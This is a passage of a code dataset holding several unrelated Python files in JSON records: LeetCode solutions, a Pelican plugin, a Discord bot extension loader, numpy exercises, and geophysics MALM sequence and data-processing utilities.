1000\n end = time.mktime(time.strptime(end_time, '%Y-%m-%d %H:%M:%S')) * 1000\n assert start and end\n except:\n start = None\n end = None\n #查询得到所有数据\n get_list = rules.query_date(request, start, end)\n delete_list = []\n #挨个删除数据库数据和文件\n for item in get_list[\"list\"]:\n rules.delete_record(item[\"username\"], int(item[\"record_id\"]))\n try:\n os.remove(os.path.join(\"database\", item[\"username\"], str(item[\"record_id\"]) + \".jpeg\"))\n os.remove(os.path.join(\"database\", item[\"username\"], str(item[\"record_id\"]) + \"_result.jpeg\"))\n except:\n pass\n return render(request, \"history.html\", context)\n","repo_name":"SerCharles/Picture-Manager","sub_path":"hw4/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":10410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10108289209","text":"import collections\n\n\nclass Solution:\n def mostCommonWord(self, paragraph: str, banned: List[str]) -> str:\n\n banned = set(banned)\n normalized_str = ''\n\n for c in paragraph:\n if c.isalnum():\n normalized_str += c\n else:\n normalized_str += ' '\n\n _map = collections.defaultdict(int)\n maxCount = 0\n res = ''\n\n for word in normalized_str.split():\n word = word.lower()\n\n if word in banned:\n continue\n\n _map[word] += 1\n\n if maxCount < _map[word]:\n maxCount = _map[word]\n res = word\n\n return res","repo_name":"sindhuvahinis/leetcode","sub_path":"2020/74.py","file_name":"74.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"28720353411","text":"# Given a string, return a version without the first and last char, so \"Hello\" yields \"ell\". The string length will be at least 2.\n\n\n# withoutEnd(\"Hello\") → \"ell\"\n# withoutEnd(\"java\") → \"av\"\n# withoutEnd(\"coding\") → \"odin\"\n\n\ndef word(a):\n\tn=len(a)\n\tb=a[1:n-1]\n\treturn b\n\na=input(\"Enter the word:\")\nprint(word(a))","repo_name":"aamiriqbal071/CodingBat","sub_path":"String-1/withoutEnd.py","file_name":"withoutEnd.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36413597550","text":"# -*- coding: utf-8 -*-\n\"\"\"\nHandle registration and setup for plugin\n\"\"\"\nimport logging\nfrom blinker import signal\nfrom .content_adapter import GitContentAdapter\nfrom pelican import signals\n\nDEV_LOGGER = logging.getLogger(__name__)\n\ncontent_git_object_init = signal('content_git_object_init')\n\ndef send_content_git_object_init(content):\n content_git_object_init.send(content, git_content=GitContentAdapter(content))\n\n\ndef setup_option_defaults(pelican_inst):\n pelican_inst.settings.setdefault('GIT_FILETIME_FROM_GIT', True)\n pelican_inst.settings.setdefault('GIT_HISTORY_FOLLOWS_RENAME', True)\n pelican_inst.settings.setdefault('GIT_SHA_METADATA', True)\n pelican_inst.settings.setdefault('GIT_GENERATE_PERMALINK', False)\n\n\ndef register():\n signals.content_object_init.connect(send_content_git_object_init)\n signals.initialized.connect(setup_option_defaults)\n\n # Import actions\n from . import actions\n","repo_name":"getpelican/pelican-plugins","sub_path":"filetime_from_git/registration.py","file_name":"registration.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","stars":1367,"dataset":"github-code","pt":"37"} +{"seq_id":"34425267818","text":"# link : https://leetcode.com/problems/koko-eating-bananas/description/\n# author : Mohamed Ibrahim\n\n\nclass Solution:\n def minEatingSpeed(self, piles: List[int], h: int) -> int:\n mx = max(piles)\n if len(piles) == h:\n return mx\n left,right = 1,mx\n res = mx\n while left <= right:\n mid = (left+right) // 2\n k = 0\n for i in piles:\n k+=ceil(i/mid)\n if k <= h: \n res = min(res,mid)\n right = mid-1\n else:\n left = mid+1\n return res\n \n \n","repo_name":"M0hamedIbrahim1/-Data-Structure-Algorithms","sub_path":"Searching Algorithms/BinarySearch/Problems/875. Koko Eating Bananas.py","file_name":"875. Koko Eating Bananas.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"22239782951","text":"class Solution:\n # @param A, a list of integers\n # @param target, an integer to be searched\n # @return a list of length 2, [index1, index2]\n def searchRange(self, A, target):\n i = 0\n j = len(A) - 1\n while i <= j:\n mid = (i + j) / 2\n if target == A[mid]:\n low = high = mid\n while low >= 0 and target == A[low]:\n low -= 1\n while high < len(A) and target == A[high]:\n high += 1\n return [low + 1, high - 1]\n elif target > A[mid]:\n i = mid + 1\n else:\n j = mid - 1\n return [-1, -1]","repo_name":"zhexiong/LTC","sub_path":"search_for_a_range.py","file_name":"search_for_a_range.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16865305678","text":"from typing import List\n\n\nclass Solution:\n def combinationSum(self, candidates: List[int], target: int) -> List[List[int]]:\n # 深度优先遍历+回溯+剪枝\n self.res = []\n track = []\n\n def traceback(s: int, track: List[int]):\n if s == target: # 得到一个合法结果\n self.res.append(track[:])\n return\n if s > target: # 当前数字和已经大于目标, 剪枝\n return\n\n for num in candidates: # 遍历候选列表\n if not track or num >= track[-1]: # 为避免重复, 保证track是单调不减序列\n track.append(num)\n traceback(s + num, track) # 向下递归\n track.pop() # 回溯\n\n traceback(0, track)\n return self.res\n","repo_name":"tangxyw/LeetCode","sub_path":"python/Traceback/[39]组合总和.py","file_name":"[39]组合总和.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"33090204770","text":"import os\nimport logging\nimport logging.config\n\n\nlogger = None\n_logs_path = '/tmp/ipcam'\n_logger_conf_file = 'logger.conf'\n_logger_name = 'root'\n\n\ndef init_logger():\n global logger\n if not os.path.exists(_logs_path):\n os.mkdir(_logs_path)\n logger_conf_path = os.path.abspath(os.path.join(os.path.dirname(__file__), _logger_conf_file))\n logging.config.fileConfig(logger_conf_path)\n logger = logging.getLogger(_logger_name)\n\n\ninit_logger()\n\n_ctx = None\n\n\ndef setContext(ctx):\n global _ctx\n logger.info(\"=========Context set=========\")\n _ctx = ctx\n\n\ndef getContext():\n global _ctx\n return _ctx\n\n\nclass Context(object):\n def __init__(self, conf, reporter):\n self.conf = conf\n self.reporter = reporter\n","repo_name":"zhoujohn/Elec_Solution2","sub_path":"context.py","file_name":"context.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"26969416267","text":"import discord, os\nfrom discord.ext import commands\nfrom last_fork.config import settings\nfrom colorama import init, Fore\n\nintents = discord.Intents.default()\nintents.members = True\nclient = commands.Bot(command_prefix = \"*\", intents=intents)\nclient.remove_command(\"help\")\n\n@client.command()\nasync def load(ctx, extension):\n\tclient.load_extension(f'cogs.{extension}')\n\tawait ctx.send(f\"{extension} loaded...\")\n\tprint(Fore.GREEN + f'{ctx.message.author} loaded {extension}')\n\n@client.command()\nasync def unload(ctx, extension):\n\tclient.unload_extension(f'cogs.{extension}')\n\tawait ctx.send(f\"{extension} unloaded...\")\n\tprint(Fore.GREEN + f'{ctx.message.author} unloaded {extension}')\n\n@client.command()\nasync def reload(ctx, extension):\n\tclient.unload_extension(f'cogs.{extension}')\n\tclient.load_extension(f'cogs.{extension}')\n\tawait ctx.send(f\"{extension} reloaded...\")\n\tprint(Fore.GREEN + f'{ctx.message.author} reloaded {extension}')\n\nfor filename in os.listdir(\"./cogs\"):\n\tif filename.endswith(\".py\"):\n\t\tclient.load_extension(f'cogs.{filename[:-3]}')\n\t\tinit()\n\t\tprint(Fore.MAGENTA + f\"{filename[:-3]} \" + Fore.LIGHTBLACK_EX + \"loaded\")\n\nprint(Fore.BLUE + \"ALL EXTENSIONS \" + Fore.LIGHTBLACK_EX + \"loaded\")\n \nclient.run(settings['token'])","repo_name":"CatsAreGood1337/Discord-nuke-bot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1241,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"37"} +{"seq_id":"40911093955","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[7]:\n\n\nimport numpy as np\n\narr = np.array([[1,2],\n [3,4]])\neig_val, eig_vec = np.linalg.eig(arr)\ndeterminant = np.linalg.det(arr)\nprint(\"Eigenvalues : {}\".format(eig_val))\nprint(\"Eigenvectors : {}\".format(eig_vec))\nprint(\"Determinant : {}\".format(int(determinant)))\n\nvec1 = np.array([1,2,3])\nvec2 = np.array([4,5,6])\ncross_product = np.cross(vec1, vec2)\nprint(\"Cross product : {}\".format(cross_product))\nA = np.array([[1,2,-2],\n [2,1,-5],\n [1,-4,1]])\nB = np.array([-15,-21,18])\n\nx = np.linalg.solve(A,B)\nprint(\"Solution : {}\".format(x))\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"kimyeoungrok/HW7_KYR","sub_path":"Q1/q1.py","file_name":"q1.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1907105481","text":"import numpy as np\n\n#definitions\nCellWidth= 200\nCellHeight= 400\nServiceWidth= 400\nNoOfColumnAtLeft= 4\nNoOfColumnAtRight= 4\nNoOfRaw= 4\nDeltaYFromTop= 30\nCellHeightFromHead= 380\n\nNoOfColumn = NoOfColumnAtLeft + NoOfColumnAtRight\nNoOfTotalCells = (int) (NoOfColumn * NoOfRaw)\nfor i in range(NoOfTotalCells):\n idx = i+1\n innerColumn = ((idx - 1) % NoOfColumn) + 1\n innerRaw = np.floor ((idx - 1) / NoOfColumn)\n if innerColumn == 0:\n InnerColumn = NoOfColumn\n yPosition = innerRaw * CellHeight + DeltaYFromTop\n if innerColumn <= NoOfColumnAtLeft:\n xPosition = CellWidth * innerColumn - CellWidth / 2\n iD = innerRaw * NoOfColumnAtLeft + innerColumn\n if innerRaw == (NoOfRaw - 1):\n shelfNumber = 0\n else:\n shelfNumber = innerRaw + 1\n else:\n xPosition = CellWidth * innerColumn + ServiceWidth - CellWidth / 2\n iD = innerRaw * NoOfColumnAtRight + innerColumn - NoOfColumnAtLeft + 100\n if innerRaw == (NoOfRaw - 1):\n shelfNumber = 0\n else:\n shelfNumber = innerRaw + NoOfRaw\n height = CellHeightFromHead\n tarr = [int(height), int(xPosition), int(yPosition), int(iD), int(shelfNumber)]\n print(\"new AppConfigSvc.CellDefinition() {{ HeightMM = {0}, XPosMM = {1}, YPosMM = {2}, cellId = {3}, shelfNumber = {4} }},\".format(tarr[0], tarr[1], tarr[2], tarr[3], tarr[4]))\n","repo_name":"doronweiss/pythontesta","sub_path":"Bitncam/cellsconfig.py","file_name":"cellsconfig.py","file_ext":"py","file_size_in_byte":1391,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"21340173982","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Nov 23 15:11:21 2020\n@author: Benjamin\n\"\"\"\nfrom pygimli.meshtools import readGmsh\nimport numpy as np\nimport pybert as pb\nimport os \nfrom pygimli.viewer.mpl import drawStreams\nfrom scipy import interpolate\nimport matplotlib.pyplot as plt\nimport pygimli as pg\n \nclass fct_utils(): \n\n def definePath(main,date,**kwargs):\n #%% define PATHS \n # or set you working directory local path here \n #main = os.getcwd()\n #os.chdir(main)\n \n geomPath= './geom/'\n meshPath= './mesh/'\n icsdPath= './icsd/'\n figPath= './fig/'\n processedPath= './processed_data/'\n \n rmvInvalid = False\n all_gates = False\n Nfix = False\n gateIP = False\n \n icsdPath += date \n if rmvInvalid is False: \n icsdPath += '_raw' \n if all_gates: \n icsdPath += '_AllG' \n if Nfix: \n icsdPath += '_Nfix' \n if gateIP: \n icsdPath += '_M' + str(gateIP)\n icsdPath += '/'\n \n figPath += date + '/'\n if not os.path.exists(figPath):\n os.makedirs(figPath)\n\n processedPath += date + '/'\n if not os.path.exists(processedPath):\n os.makedirs(processedPath)\n \n \n return geomPath, meshPath, icsdPath, figPath, processedPath\n\n\n#%% ------- MALM -----------------------------------------------------####\n\n def mk_seqMALM(a_injection = 72, b_return = 2, sensors=None, mesh=None, \n Syscal=None, Rec=None, \n PosXYZid=None,Ch_return=None, \n mfix=False, Bmove=(False,[]), mref=40,\n savefig=False,SaveName=None):\n \n \"\"\"\n write the rhizotron malm sequence\n parameters:\n ===\n * a_injection: number of the electrode used for injection (t: int) , default = 1\n * b_return: number of the electrode used as return (t: int), default = 2\n * b_return associated with Ch_return --> b_return_left = b_return[0], while b_return_right = b_return[1] \n returns:\n ===\n * seq: malm sequence (t: np.ndarray)\n \"\"\"\n print('*' * 20)\n\n # function \n a = a_injection -1 \n b= b_return - 1 \n\n seq = []\n \n if mfix==True:\n m = mref -1\n electrodes = np.arange(1,len(sensors))\n for row in electrodes:\n print(row)\n n = row\n seq.append([a, b, m, n]) \n\n \n else:\n # horizontal\n electrodes = np.arange(0,72)\n electrodes = electrodes.reshape((9,8))\n for row in electrodes:\n for i in range(len(row) -1):\n m = row[i]\n n = row[i + 1]\n seq.append([a, b, m, n])\n \n # vertical\n rotated_electrodes = np.flipud(np.rot90(electrodes))\n for row in rotated_electrodes:\n for i in range(len(row) -1):\n m = row[i]\n n = row[i + 1]\n seq.append([a, b, m, n])\n \n # diag \\ -6 : 6\n for d in range(-6, 7):\n diagonal = np.diag(electrodes, k = d)\n for i in range(len(diagonal) - 1):\n m = diagonal[i]\n n = diagonal[i + 1]\n seq.append([a, b, m, n])\n \n # diag / \n flipped_electrodes = np.fliplr(electrodes)\n for d in range(-6, 7):\n diagonal = np.diag(flipped_electrodes, k = d)\n for i in range(len(diagonal) - 1):\n m = diagonal[i]\n n = diagonal[i + 1]\n seq.append([a, b, m, n])\n \n # remove where the same electrode appears twice\n sequence = np.array(seq)\n\n indices_delete = []\n for i, row in enumerate(sequence):\n if len(np.unique(row)) != len(row):\n indices_delete.append(i)\n sequence_clean = np.delete(sequence, indices_delete, axis = 0)\n sequence_clean = np.vstack(sequence_clean)\n\n\n id2Remove=[]\n if PosXYZid is not None:\n print('-' * 5)\n print('Split case remove wrong quadripoles and adapt return electrode')\n PosXYZid=np.array(PosXYZid)\n Left=np.array(PosXYZid[0,:]) \n Right=np.array(PosXYZid[1,:]) \n print('TEST1: IF M and N are on the same SIDE')\n print('TEST2: IF B return same side as M and N')\n for i in range(0,len(sequence_clean)):\n # check if line ismenber of left or right\n # ---------# \n # 1st TEST #\n # TEST IF M and N are on the same SIDE\n # ---------# \n# print(sequence_clean[i, 2:4])\n Left_Test = any(elem in sequence_clean[i, 2:4]+1 for elem in Left)\n Right_Test = any(elem in sequence_clean[i, 2:4]+1 for elem in Right) \n #print('Left_Test=' + str(Left_Test) + ' Right_Test=' + str(Right_Test))\n if i in id2Remove:\n continue\n try:\n if all([Left_Test,Right_Test])==True:\n id2Remove.append(i)\n except:\n continue \n\n if Ch_return is not None:\n # ---------# \n # 2nd TEST #\n # TEST IF B return same side as M and N \n # ---------# \n B_Test = b_return in Left\n if (B_Test==False and Left_Test==True):\n sequence_clean[i, 1]=Ch_return\n \n print('sequence before removed split=' + str(len(sequence_clean)))\n sequence_clean= np.delete(sequence_clean,id2Remove, axis=0)\n print('sequence after removed split=' + str(len(sequence_clean)))\n \n # remove where the same electrode appears twice\n sequence = np.array(sequence_clean)\n indices_delete = []\n for i, row in enumerate(sequence):\n if len(np.unique(row)) != len(row):\n indices_delete.append(i)\n print(indices_delete)\n \n sequence_clean = np.delete(sequence, indices_delete, axis = 0)\n sequence_clean = np.vstack(sequence_clean)\n\n if Bmove[0]==True:\n sequence_clean_base= sequence_clean\n for b in Bmove[1]:\n print('b=' + str(b))\n for i in range(0,len(sequence_clean_base)):\n sequence_clean_b= sequence_clean_base\n #print(i,b)\n sequence_clean_b[i, 1]=b\n sequence_clean= np.vstack([sequence_clean,sequence_clean_b])\n\n # remove where the same electrode appears twice\n sequence = np.array(sequence_clean)\n indices_delete = []\n for i, row in enumerate(sequence):\n if len(np.unique(row)) != len(row):\n indices_delete.append(i)\n \n sequence_clean = np.delete(sequence, indices_delete, axis = 0)\n sequence_clean = np.vstack(sequence_clean)\n \n if Rec==True:\n print('add rec')\n sequence_cleanR=sequence_clean[:,[2,3,0,1]] \n sequence_clean= np.vstack([sequence_clean,sequence_cleanR])\n \n schemeMALM = pb.DataContainerERT()\n schemeMALM.resize(len(sequence_clean)) \n for i, j in enumerate(\"abmn\"):\n schemeMALM.set(j, sequence_clean[:, i])\n\n\n if mesh!=None: \n sensors=[]\n posXYZ=[]\n for node in mesh.nodes():\n if node.marker() == -99:\n sensors.append(node.pos())\n posXYZ.append(np.array(node.pos()))\n\n if len(sensors)>0: \n schemeMALM.setSensorPositions(sensors)\n schemeMALM.set(\"valid\", np.ones(len(sequence_clean)))\n if PosXYZid is not None:\n schemeMALM.save('SequenceMALM_Rhizo_72Elecs_splitted.shm')\n else:\n schemeMALM.save('SequenceMALM_Rhizo_72Elecs.shm')\n \n \n schemeMALM.setSensorPositions(sensors)\n schemeMALM.set(\"valid\", np.ones(len(sequence_clean)))\n if PosXYZid is not None:\n schemeMALM.save('SequenceMALM_Rhizo_72Elecs_splitted.shm')\n else:\n schemeMALM.save('SequenceMALM_Rhizo_72Elecs.shm')\n \n if Syscal==True:\n print('Write syscal sequence file')\n posXYZ= np.vstack(posXYZ)\n posXYZ_ElectrPro= [np.arange(1,len(posXYZ)+1),np.zeros([2,len(posXYZ[:,0])])]\n posXYZ_ElectrPro= np.vstack(posXYZ_ElectrPro).T\n nb = np.arange(1,len(posXYZ_ElectrPro)+1)\n posXYZ_nb= np.column_stack((nb,posXYZ_ElectrPro))\n measSyScal= sequence_clean+1\n nb = np.arange(1,len(measSyScal)+1)\n measSyScal_nb= np.column_stack((nb,measSyScal))\n if PosXYZid is not None:\n fileName='MALMR'+ str(np.amax(measSyScal)) +'_Splitted.txt'\n else:\n fileName='MALMR'+ str(np.amax(measSyScal)) +'.txt'\n f = open(fileName,'w')\n np.savetxt(f, posXYZ_nb, fmt='%d %1.2f %1.2f %1.2f', delimiter='\\t',header='X Y Z') # X is an array\n np.savetxt(f, measSyScal_nb, fmt='%d', delimiter='\\t',header='A\t B\t M\t N') # X is an array\n f.close()\n\n if savefig==True:\n plt.ioff()\n fig = plt.figure()\n sensorsArray = np.vstack(sensors)\n from celluloid import Camera\n camera = Camera(plt.figure())\n for qq in np.arange(0,len(sequence_clean),int(np.round(len(sequence_clean)/72))):\n plt.scatter(sensorsArray[:,0],sensorsArray[:,1],color='b',alpha=0.2)\n plt.scatter(sensors[sequence_clean[qq,1]][0],sensors[sequence_clean[qq,1]][1],color='r',alpha=0.9)\n plt.scatter(sensors[sequence_clean[qq,2]][0],sensors[sequence_clean[qq,2]][1],color='g',alpha=0.9)\n plt.scatter(sensors[sequence_clean[qq,3]][0],sensors[sequence_clean[qq,3]][1],color='g',alpha=0.9)\n camera.snap()\n anim = camera.animate(blit=True) #interval=200,\n if PosXYZid is not None:\n AnimName='SeqMALMGifDescription_Splitted.mp4'\n else:\n AnimName='SeqMALMGifDescription.mp4'\n anim.save(AnimName)\n plt.close(fig)\n\n return(sequence_clean)\n \n\n def PrepareMALMData(DataName, Rec=False, \n MinV=1e-6, MaxRc=1e4, DevErr=5, Kfact=1e3, MinMaxAppRes=1e3, Rscheck=50,\n SwE=False, ExpRec=True, gIP=None, RmvE=None,\n valid=None,**kwargs):\n \"\"\"\n Prepare MALM data for ICSD analysis\n \n parameters:\n ===\n return:\n ===\n \"\"\"\n if type(DataName) is str:\n Obs = pb.importer.importSyscalPro(DataName) \n Obs.set('r', Obs('u')/Obs('i'))\n Obs.set('Rec',np.zeros(len(Obs('u'))))\n else: \n Obs = DataName\n DataName = 'test'\n \n print(\"Data before filtering:\", Obs)\n process_folder = os.getcwd()\n savefile=False\n for key, value in kwargs.items():\n if key == 'savefile':\n savefile = value\n if key == 'date':\n date = value\n process_folder = './processed_data/' + date +'/' \n \n if not os.path.exists(process_folder):\n os.makedirs(process_folder)\n if key == 'NameSave':\n NameSave = value\n \n \n if Rec==True:\n sC = Obs.sensorCount()\n # Build an unique Index list for one measurement direction:\n idxF = Obs('a')*sC**3 + Obs('b')*sC**2 + Obs('m')*sC**1 + Obs('n')\n # Build a second Index list for reciprocal measurement direction:\n idxR = Obs('m')*sC**3 + Obs('n')*sC**2 + Obs('a')*sC**1 + Obs('b')\n # for each measurement in idxF search the same idx in idxR which is your reciprocal\n #threshold=5\n recip_err=[]\n count=0\n idc2Skip = [] # search for duplicates reciprocals \n for i, dr in enumerate(idxF):\n if i in idc2Skip:\n recip_err.append(0)\n else:\n idc= np.where(dr==idxR)[0]\n if idc.size>0:\n count = count + 1\n R_dif = np.abs(Obs('r')[i] - Obs('r')[idc[0]])\n R_avg = (Obs('r')[i] + Obs('r')[idc[0]]) / 2\n recip_err.append(np.abs(R_dif / R_avg) * 100)\n idc2Skip.append(idc[0])\n else:\n recip_err.append(0)\n Dup_Vec_Bool= np.zeros([len(Obs('a'))])\n Dup_Vec_Bool[idc2Skip]=1\n\n\n idDouble = [] # search for doubles quadrupoles \n for i, dr in enumerate(idxF):\n idc= np.where(dr==idxF)[0]\n if idc.size>1:\n idDouble.append(1)\n else:\n idDouble.append(0)\n\n if ExpRec==True:\n print('Write reciprocal file') \n\n\n Obs.set('RecBool',Dup_Vec_Bool)\n Obs.set('Double',idDouble)\n Obs.markInvalid(Obs('Double') == 1)\n Obs.removeInvalid()\n print(\"Data after filtering double\", Obs)\n\n Obs.markInvalid(Obs('err') > DevErr)\n Obs.removeInvalid()\n print(\"Data after filtering contact resistance:\", Obs)\n\n Obs.markInvalid(Obs('Rec') > MaxRc)\n Obs.removeInvalid()\n print(\"Data after filtering rec threshold:\", Obs)\n Obs.markInvalid(Obs('RecBool') == 1)\n Obs.removeInvalid()\n print(\"Data after remove rec:\", Obs)\n \n print(\"Data after filtering:\", Obs)\n\n if RmvE is not None:\n Obs.set('RmvE_Vec_Bool',RmvE)\n Obs.markInvalid(Obs('RmvE_Vec_Bool') == 1)\n Obs.removeInvalid()\n print(\"Data after RmvE:\", Obs)\n\n \n if SwE==True:\n print('Switch electrode pair')\n IdColElecSwE_1=[]\n IdColElecSwE_2=[]\n for iSwE in enumerate(SwE):\n print(iSwE)\n for i, j in enumerate(\"abmn\"):\n IdLineElecSwE_1= np.where(iSwE[1][0]-1==np.array(Obs(j)))[0]\n IdLineElecSwE_2= np.where(iSwE[1][1]-1==np.array(Obs(j)))[0]\n IdColElecSwE_1.append(IdLineElecSwE_1)\n IdColElecSwE_2.append(IdLineElecSwE_2)\n for i, j in enumerate(\"abmn\"):\n Obs(j)[IdColElecSwE_1[i][:]]=[iSwE[1][1]-1]*np.ones(len(IdColElecSwE_1[i][:]))\n Obs(j)[IdColElecSwE_2[i]]=[iSwE[1][0]-1]*np.ones(len(IdColElecSwE_2[i][:]))\n Obs.set('a', Obs('a'))\n Obs.set('b', Obs('b'))\n Obs.set('m', Obs('m'))\n Obs.set('n', Obs('n'))\n \n \n if valid is not None:\n Obs.set('valid',valid)\n Obs.removeInvalid()\n print(\"Data after valid:\", Obs)\n\n \n if savefile==True: \n if gIP is not None: \n print('TDIP export')\n sep = '_'\n if NameSave is None:\n NameSave = process_folder + 'O'+ os.path.basename(DataName).split(sep, 1)[0] + 'M'+str(gIP) + '.txt'\n f = open(NameSave,'w')\n np.savetxt(f, np.array(Obs['m'+str(gIP)]), delimiter='\\t',fmt='%1.6f') # X is an array\n f.close()\n else:\n sep = '.'\n if NameSave is None:\n NameSave = process_folder + 'O'+ os.path.basename(DataName).split(sep, 1)[0] + '.txt'\n f = open(NameSave,'w')\n np.savetxt(f, np.array(Obs(\"r\")), delimiter='\\t',fmt='%1.6f') # X is an array\n f.close()\n print(NameSave)\n \n \n dataABMN = [np.array(Obs('a'))+1, np.array(Obs('b'))+1,\n np.array(Obs('m'))+1,np.array(Obs('n'))+1]\n dataABMN= np.vstack(dataABMN).T\n return [Obs, dataABMN]\n \n def VRTEpos(mesh=None,dim=3,MarkerVRTE=991):\n \"\"\"\n Find position of VRTE into the mesh\n \n parameters:\n ===\n * mesh_VRTs: the mesh with all virtuals sources included\n\n return:\n ===\n * VRTeCoord.txt : adequate file to be inverted into ICSD\n \"\"\"\n VRTE=[]\n Pos_vrtS=[]\n for node in mesh.nodes():\n if node.marker() == -MarkerVRTE:\n VRTE.append(node.pos())\n Pos_vrtS.append(np.array(node.pos()))\n print(str(len(VRTE)) + ' VRTEs found')\n Pos_vrtS= np.vstack(Pos_vrtS)\n \n # --- Writing the VRTe Coordinates into a file! ------------------------------\n \n f = open('VRTeCoord.txt','w')\n np.savetxt(f, Pos_vrtS[:,0:2], delimiter='\\t',fmt='%1.3f') # X is an array\n f.close()\n if dim==3:\n f = open('VRTeCoord.txt','w')\n np.savetxt(f, Pos_vrtS[:,0:3], delimiter='\\t',fmt='%1.3f') # X is an array\n f.close()\n return Pos_vrtS\n \n \n def mesh_import(fname):\n \"\"\"\n Import a gmsh mesh and return mesh and sensors positions according to markers\n Returns\n -------\n None.\n \n \"\"\"\n ## --------- Import mesh --------- ##\n mesh3d=readGmsh(fname, verbose=True)\n #mesh3d.exportVTK('mesh3d_Markers')\n #MR.PyMesh3d() # plot mesh3d_Markers marker in 3d\n sensors = []\n for node in mesh3d.nodes():\n if node.marker() == -99:\n sensors.append(node.pos())\n elif node.marker() == -999:\n print('-999')\n sensors.append(node.pos())\n elif node.marker() == -1000:\n print('-1000')\n sensors.append(node.pos())\n return mesh3d, np.vstack(sensors)\n\n\n def streamlines(coordObs, Obs, model, mesh=None, **kwargs):\n \"\"\"\n Current streamlines; interpolate model from mesh_inv to new mesh to build streamlines\n takes the gradient of the potential and multiply it by the interpolated resistivity model\n -------\n - mesh: mesh to compute the quiver plot\n \n \"\"\"\n mesh_inv = [] # medium conductivity\n for key, value in kwargs.items():\n if key == 'Xaxis':\n Xaxis = value \n if key == 'mesh_inv':\n mesh_inv = value\n if key == 'date':\n date = value\n \n xn = 30\n yn = 30\n\n xx = np.linspace(min(coordObs[:,0]), max(coordObs[:,0]),xn)\n yy = np.linspace(min(coordObs[:,1]), max(coordObs[:,1]),yn)\n\n xx, yy = np.meshgrid(xx, yy)\n points = np.transpose(np.vstack((coordObs[:,0], coordObs[:,1])))\n print(len(points))\n print(len(Obs))\n\n if mesh is None:\n mesh = pg.createGrid(x=np.linspace(min(coordObs[:,0]), max(coordObs[:,0]),xn),\n y=np.linspace(min(coordObs[:,1]), max(coordObs[:,1]),yn))\n\n u_interp = interpolate.griddata(points,\n Obs,\n (xx, yy), \n method='cubic')\n uu = np.reshape(u_interp,[xn*yn])\n #uu = pg.interpolate(mesh, (xx, yy), Obs, method='spline')\n\n \n if isinstance(model, float):\n stream = -pg.solver.grad(mesh, uu)*(1/model) \n #jj = -uu*(1/model)\n else: \n res = pg.interpolate(mesh, mesh_inv, model, method='spline')\n \n # pg.show(mesh, data=res, notebook=True, savefig='model_interpolated.png')\n \n # plotter, _ = pg.show(mesh_inv, data=model,\n # alpha=0.9, hold=True, notebook=True)\n # plotter.view_xy()\n # plotter.show()\n # plotter.screenshot('model3d.png')\n \n #jj = -uu*(1/res).array()\n stream = -pg.solver.grad(mesh, uu)*(1/res).array()[:, None]\n \n\n if kwargs.get('vmin'):\n vmin = kwargs.get('vmin')\n else: \n vmin = min(Obs)\n \n if kwargs.get('vmax'):\n vmax = kwargs.get('vmax')\n else: \n vmax = max(Obs)\n\n if kwargs.get('ax'):\n ax = kwargs.get('ax')\n else:\n fig, ax = plt.subplots()\n \n sc=ax.scatter(coordObs[:,0], coordObs[:,1], c=Obs, \n cmap ='coolwarm',s=5e2, vmin=vmin, vmax=vmax) # norm=matplotlib.colors.Normalize()\n cbar = plt.colorbar(sc,ax=ax)\n cbar.set_label('V') \n ax.set_ylabel('y [m]',fontsize=15)\n ax.set_xlabel('x [m]',fontsize=15)\n \n if len(kwargs.get('sensors'))>0:\n sensors = kwargs.get('sensors')\n ax.scatter(sensors[:,0],sensors[:,1],color='k',marker='.',label='pot. elec')\n for i in range(len(sensors[:,0])):\n ax.annotate(str(i+1), (sensors[i,0],sensors[i,1])) \n if kwargs.get('A'):\n A = kwargs.get('A')\n ax.scatter(sensors[A,0],sensors[A,1],color='y',marker='^',\n label='A. elec', s=5e2)\n if kwargs.get('B'):\n B = kwargs.get('B')\n ax.scatter(sensors[B,0],sensors[B,1],\n color='y',marker='v',label='B. elec', s=5e2)\n if kwargs.get('Nfix'):\n Nfix = kwargs.get('Nfix')\n ax.scatter(sensors[Nfix,0],sensors[Nfix,1],color='g',marker='v',label='Nfix. elec')\n\n if kwargs.get('gridCoarse'):\n gridCoarse = pg.createGrid(x=np.linspace(min(sensors[:,0]), max(sensors[:,0]),xn/2),\n y=np.linspace(min(sensors[:,1]), max(sensors[:,1]),yn/2))\n \n\n drawStreams(ax, mesh, stream,\n color='green', quiver=True, linewidth=6.0)\n \n \n # save for TL analysis\n \n #j = -pg.solver.grad(mesh, uu) * (1/Res)\n #ax, _ = pg.show(mesh, hold=True, alpha=0.3)\n #drawStreams(ax, mesh, j)\n \n return mesh, uu, model\n\n def Ref_N_zeroP(ref_elec=71):\n \"\"\"\n The potential at the reference electrode is used as a zero potential\n and is removed to the electrical potential collected at each electrode\n Returns\n -------\n None.\n\n \"\"\"\n \n def plot_scatter_obs(x,y,V):\n \"\"\"\n Plot scattered potential\n Returns\n -------\n None.\n\n \"\"\"\n \n def load_geom(path):\n \"\"\" load the geometry of the acquisition (*geom file custum for Mise-à-la-masse 